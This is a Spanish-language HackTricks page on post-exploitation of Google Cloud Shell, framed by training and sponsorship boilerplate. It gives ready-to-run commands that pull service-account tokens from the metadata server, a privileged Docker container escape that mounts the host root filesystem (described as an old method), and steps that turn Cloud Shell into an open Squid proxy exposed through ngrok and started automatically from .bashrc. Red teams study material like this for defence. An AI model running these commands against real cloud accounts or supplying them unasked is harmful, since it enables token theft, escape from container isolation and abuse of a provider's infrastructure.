GCP - Cloud Shell Post Exploitation
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Cloud Shell
Para más información sobre Cloud Shell, consulta:
Obtiene el token del usuario desde metadata
Simplemente accediendo al servidor de metadata puedes obtener un token para acceder como el usuario que inició sesión actualmente:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
Container Escape / Uso de Docker
Warning
Anteriormente el cloud shell se ejecutaba en un contenedor con acceso al docker socket del host. Ahora Google ha cambiado la arquitectura y el contenedor del cloud shell ejecuta una configuración de “Docker in a container”. Por lo tanto, incluso si es posible usar docker desde el cloud shell, no podrás escapar al host usando el docker socket. Ten en cuenta que anteriormente el archivo
docker.sockestaba ubicado en/google/host/var/run/docker.sock, pero ahora se ha movido a/run/docker.sock.
Uso de Docker / Comandos antiguos de container escape
```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```Además, en el pasado era posible encontrar un token para una cuenta de servicio usada por la cloud shell VM en el servidor de metadatos:
Cuenta de servicio antigua en los metadatos
```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` Con los siguientes ámbitos: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write
</details>
### Usarlo como proxy
Si quieres usar tu instancia de google cloud shell como proxy necesitas ejecutar los siguientes comandos (o insertarlos en el archivo .bashrc):
<details>
<summary>Instalar Squid proxy</summary>
```bash
sudo apt install -y squid
Solo para que sepas, Squid es un servidor proxy HTTP. Crea un archivo squid.conf con la siguiente configuración:
Crear archivo squid.conf
```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```copia el archivo squid.conf a /etc/squid
Copiar configuración a /etc/squid
```bash sudo cp squid.conf /etc/squid ```Finalmente, inicia el servicio squid:
Iniciar el servicio squid
```bash sudo service squid start ```Usa ngrok para que el proxy esté disponible desde el exterior:
Exponer proxy con ngrok
```bash ./ngrok tcp 3128 ```Después de ejecutar, copia la URL tcp://. Si quieres ejecutar el proxy desde un navegador, se sugiere eliminar la parte tcp:// y el puerto y poner el puerto en el campo de puerto de la configuración de proxy de tu navegador (squid es un servidor proxy http).
Para un mejor uso al inicio, el archivo .bashrc debería tener las siguientes líneas:
Agregar a .bashrc para inicio automático
```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```Las instrucciones fueron copiadas de https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Revisa esa página para otras ideas locas para ejecutar cualquier tipo de software (databases e incluso windows) en Cloud Shell.
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

